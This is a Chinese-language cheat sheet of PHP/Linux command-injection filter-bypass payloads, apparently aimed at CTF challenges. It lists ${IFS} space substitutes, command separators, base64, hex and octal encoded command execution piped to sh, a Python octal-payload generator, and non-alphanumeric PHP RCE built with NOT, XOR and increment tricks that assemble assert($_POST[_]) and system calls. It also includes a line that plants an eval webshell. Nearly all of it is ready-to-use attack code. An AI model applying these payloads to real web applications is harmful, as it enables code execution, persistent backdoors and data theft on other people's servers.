php命令执行linux绕过

在php中虽然有命令执行，但是过滤了很多，会让我们的难度变大

空格 #

${IFS}
$IFS$9
>
<>

inode #

打印文件的inode号

ls -i
tac `find / -inum incode号`

在获取到inode号配合可以查找文件及所有子目录文件并打印

cat `find . -inum inode号`

在linux 会优先执行反引号中的内容

tee #

欲执行命令 | tee 回显文件
如
l\s / | tee 1.txt

再访问1.txt


关键字被过滤 在中间加\

cat #

cat、tac、more、less、head、tail、nl、sed、sort、uniq

编码 #

用base64，解密并执行

echo bHMgLWwK | base64 -d | sh
echo "636174202f666c6167" | xxd -r -p|bash
#ascii的八进制编码
$(printf "\154\163")   -->ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0

写shell
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}


# 脚本
def encodeOctal(str):

    # 只显示八进制
    print("八进制")
    for i in str:
        print(oct(ord(i)).replace("0o", "\\"), end="")

    # 显示Linux八进制payload
    print("\nlinux payload")
    payload = '$(printf${IFS}"'
    for i in str:
        payload += oct(ord(i)).replace("0o", "\\")

    payload += '")'
    print(payload)


if __name__ == '__main__':
    str = "cat flag_1s_here/flag_831b69012c67b35f.php"
    encodeOctal(str)

分隔符

%0a
%0d
;
|
||
&&

拼接

a=l;b=s;$a$b

反引号 #

exec("echo `ls`")//可以执行命令
再linux中会优先直线反引号中的命令，如
system("ls `echo /flag>/var/www/html/flag.txt`")

无字符rce #

取反

  <?php  
  echo urlencode(~'system')."\n";
  echo urlencode(~'cat /flag');
  
  
  (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)
  
  
  [~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
  
  
  eval(heaer['x'])

再写shell

file_put_contents("1.php","<?php @eval(\$_POST['cmd']);?>");

异或

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来：
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是：
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

自增

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

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$_=''.[];
$_=$_['_'];
$_++;
$_++;
$_++;
$__=++$_;
$_++;
$___=++$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);

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get: _=system&__=cat /f*;

RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)